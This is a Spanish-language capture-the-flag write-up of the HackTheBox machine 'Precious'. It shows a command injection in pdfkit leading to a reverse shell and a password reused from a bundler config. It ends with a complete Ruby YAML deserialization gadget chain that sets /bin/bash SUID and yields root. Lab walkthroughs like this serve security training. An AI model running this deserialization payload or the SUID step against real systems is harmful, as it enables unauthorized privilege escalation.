10 min to read
Precious Writeup
Writeup de la máquina Precious de la plataforma HackTheBox

Enumeración
Comenzamos encontrando los puertos abiertos en la máquina, una vez realizado el primer escaneo seguimos con un segundo escaneo más exhaustivo hacia los puertos abiertos. Esto se hace para reconocer los servicios corriendo en los puertos y sus versiones.
$ sudo nmap -p- --open -sS --min-rate 3000 -n -Pn 10.129.174.111 -oG Targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-03 11:09 EDT
Nmap scan report for 10.129.174.111
Host is up (0.22s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 24.75 seconds
$ sudo nmap -p22,80 -sCV 10.129.174.111 -oN Target
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-03 11:11 EDT
Nmap scan report for 10.129.174.111
Host is up (0.20s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.12 seconds
Encontramos los puertos 22 y 80 corriendo en la máquina, por lo que procedemos a enumerar el puerto 80 por metodología.
Antes de entrar a la web necesito implementar el dominio de la máquina al /etc/hosts.
$ sudo vim /etc/hosts
$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
#No son del sistema
10.129.174.111 precious.htb
Y ahora podemos ingresar a la web con el dominio precious.htb sin ningún problema.
Al parecer la página tiene una utilidad que permite convertir una web en un archivo PDF. Probaremos esto con un web server creado con python3.
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.174.111 - - [03/Jun/2023 11:25:59] "GET / HTTP/1.1" 200 -
Me creo el archivo PDF con el contenido de mi web server, descargo el pdf y lo reviso en mejor detalle.
$ ls
5jp8wc91kkdx4zpid2fw461famj03nm7.pdf
$ exiftool 5jp8wc91kkdx4zpid2fw461famj03nm7.pdf
ExifTool Version Number : 12.57
File Name : 5jp8wc91kkdx4zpid2fw461famj03nm7.pdf
Directory : .
File Size : 18 kB
File Modification Date/Time : 2023:06:03 11:40:02-04:00
File Access Date/Time : 2023:06:03 11:40:02-04:00
File Inode Change Date/Time : 2023:06:03 11:40:02-04:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
Shell como ruby
Investigando encuentre en la siguiente página que el pdfkit v0.8.6 es vulnerable a un command injection.
Primero intenté confirmar si en verdad es vulnerable tratando de enviar una traza icmp a mí máquina.
$ sudo tcpdump -i tun0 icmp
[sudo] password for kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
12:05:23.056696 IP precious.htb > 10.10.16.22: ICMP echo request, id 58550, seq 1, length 64
12:05:23.056747 IP 10.10.16.22 > precious.htb: ICMP echo reply, id 58550, seq 1, length 64
12:05:24.060942 IP precious.htb > 10.10.16.22: ICMP echo request, id 58550, seq 2, length 64
12:05:24.060971 IP 10.10.16.22 > precious.htb: ICMP echo reply, id 58550, seq 2, length 64
12:05:25.063049 IP precious.htb > 10.10.16.22: ICMP echo request, id 58550, seq 3, length 64
12:05:25.063100 IP 10.10.16.22 > precious.htb: ICMP echo reply, id 58550, seq 3, length 64
12:05:26.063476 IP precious.htb > 10.10.16.22: ICMP echo request, id 58550, seq 4, length 64
12:05:26.063518 IP 10.10.16.22 > precious.htb: ICMP echo reply, id 58550, seq 4, length 64
12:05:27.064799 IP precious.htb > 10.10.16.22: ICMP echo request, id 58550, seq 5, length 64
12:05:27.064818 IP 10.10.16.22 > precious.htb: ICMP echo reply, id 58550, seq 5, length 64
Y tenemos un command injection operativo. Lo siguiente es tratar de mandarnos una shell, esto lo haré con el típico comando de reverse shell.
nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.22] from (UNKNOWN) [10.129.174.111] 33694
bash: cannot set terminal process group (681): Inappropriate ioctl for device
bash: no job control in this shell
ruby@precious:/var/www/pdfapp$ whoami
whoami
ruby
Shell como Henry
Primero haremos un tratamiento de la tty.
ruby@precious:/var/www/pdfapp$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
ruby@precious:/var/www/pdfapp$ ^Z
[1] + 4388 suspended nc -nlvp 443
CTRL + Z
$ stty raw -echo;fg
[1] + 4388 continued nc -nlvp 443
ruby@precious:/var/www/pdfapp$ export TERM=xterm
ruby@precious:/var/www/pdfapp$ export SHELL=bash
ruby@precious:/var/www/pdfapp$ stty rows 48 columns 238
ruby@precious:/var/www/pdfapp$
Enumerando encontré dentro del directorio home de ruby existía una carpeta llamada .bundle con un archivo de configuración.
ruby@precious:~$ ls -la
total 28
drwxr-xr-x 4 ruby ruby 4096 Jun 3 11:25 .
drwxr-xr-x 4 root root 4096 Oct 26 2022 ..
lrwxrwxrwx 1 root root 9 Oct 26 2022 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 2022 .bundle
drwxr-xr-x 3 ruby ruby 4096 Jun 3 11:25 .cache
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
ruby@precious:~$ cd .bundle
ruby@precious:~/.bundle$ ls
config
En el contenido del archivo encontré una supuesta clave así que trate de usarla para logearme como el usuario henry.
ruby@precious:~/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
ruby@precious:~/.bundle$ su henry
Password:
henry@precious:/home/ruby/.bundle$ whoami
henry
Shell como root
El usuario henry puede ejecutar el archivo /opt/update_dependencies.rb como root sin necesidad de clave.
henry@precious:/home/ruby/.bundle$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
Al revisar el contenido de este archivo se puede ver una llamada a yaml.load() la cual es una función vulnerable a Deserialization Attack.
henry@precious:/home/ruby/.bundle$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
El YAML.load() está cargando un archivo llamado dependencies.yml.
YAML.load(File.read("dependencies.yml"))
Podemos aprovecharnos de esto con la información del siguiente link.
Ahora crearemos un archivo llamado dependencies.yml dentro del directorio home de henry con el siguiente contenido.
henry@precious:~$ ls -la
total 24
drwxr-xr-x 2 henry henry 4096 Oct 26 2022 .
drwxr-xr-x 4 root root 4096 Oct 26 2022 ..
lrwxrwxrwx 1 root root 9 Sep 26 2022 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry 220 Sep 26 2022 .bash_logout
-rw-r--r-- 1 henry henry 3526 Sep 26 2022 .bashrc
-rw-r--r-- 1 henry henry 807 Sep 26 2022 .profile
-rw-r----- 1 root henry 33 Jun 3 11:07 user.txt
henry@precious:~$ nano dependencies.yml
henry@precious:~$ cat dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: whoami
method_id: :resolve
En el git_set se colocara el comando a ejecutar.
git_set: whoami
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
root
Ahora trataremos de darle permisos SUID al binario /bin/bash
henry@precious:~$ nano dependencies.yml
henry@precious:~$ cat dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod +s /bin/bash
method_id: :resolve
henry@precious:~$
git_set: chmod +s /bin/bash
Lo ejecutamos.
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
henry@precious:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27 2022 /bin/bash
henry@precious:~$ bash -p
bash-5.1# whoami
root
bash-5.1#
Hemos pwneado la maquina!
Comments